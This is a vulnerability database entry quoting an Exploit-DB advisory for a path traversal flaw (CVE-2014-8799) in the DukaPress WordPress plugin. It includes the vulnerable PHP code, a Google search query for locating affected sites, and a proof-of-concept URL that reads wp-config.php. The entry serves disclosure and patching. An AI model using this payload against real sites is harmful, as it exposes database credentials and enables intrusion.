DukaPress 2.5.2 Path Traversal

vendor:

DukaPress

by:

Kacper Szurek

7,5

CVSS

HIGH

Path Traversal

CWE

Product Name: DukaPress

Affected Version From: 2.5.2

Affected Version To: 2.5.4

Patch Exists: YES

Related CWE: CVE-2014-8799

CPE: a:dukapress:dukapress:2.5.2

Metasploit: N/A

Other Scripts: N/A

Tags: cve,cve2014,wordpress,wp-plugin,lfi,edb

CVSS Metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N

Nuclei References: https://nvd.nist.gov/vuln/detail/CVE-2014-8799, https://www.exploit-db.com/exploits/35346, https://wordpress.org/plugins/dukapress/changelog/, https://exchange.xforce.ibmcloud.com/vulnerabilities/98943, https://plugins.trac.wordpress.org/changeset/1024640/dukapress

Nuclei Metadata: {'max-request': 1, 'google-query': 'inurl:"/wp-content/plugins/dukapress"', 'framework': 'wordpress', 'vendor': 'dukapress', 'product': 'dukapress'}

Platforms Tested: WordPress

2014

DukaPress 2.5.2 Path Traversal

A directory traversal vulnerability in the dp_img_resize function in php/dp-functions.php in the DukaPress plugin before 2.5.4 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the src parameter to lib/dp_image.php.

Mitigation:

Update to version 2.5.4

Source

Exploit-DB raw data:

# Exploit Title: DukaPress 2.5.2 Path Traversal
# Date: 27-10-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl
# Software Link: https://downloads.wordpress.org/plugin/dukapress.2.5.2.zip
# Category: webapps
# CVE: CVE-2014-8799
  
1. Description

dp_img_resize() returns $_REQUEST['src'] if $_REQUEST['w'] and $_REQUEST['h'] doesn't exist.

File: dukapress\lib\dp_image.php
if (!function_exists('add_action')) {
    require_once('../../../../wp-load.php');
}

echo file_get_contents(dp_img_resize('', $_REQUEST['src'],$_REQUEST['w'], $_REQUEST['h']));
 
http://security.szurek.pl/dukapress-252-path-traversal.html
  
2. Proof of Concept
  
http://wordpress-url/wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php
  
3. Solution:
  
Update to version 2.5.4

https://downloads.wordpress.org/plugin/dukapress.2.5.4.zip
https://plugins.trac.wordpress.org/changeset/1024640/dukapress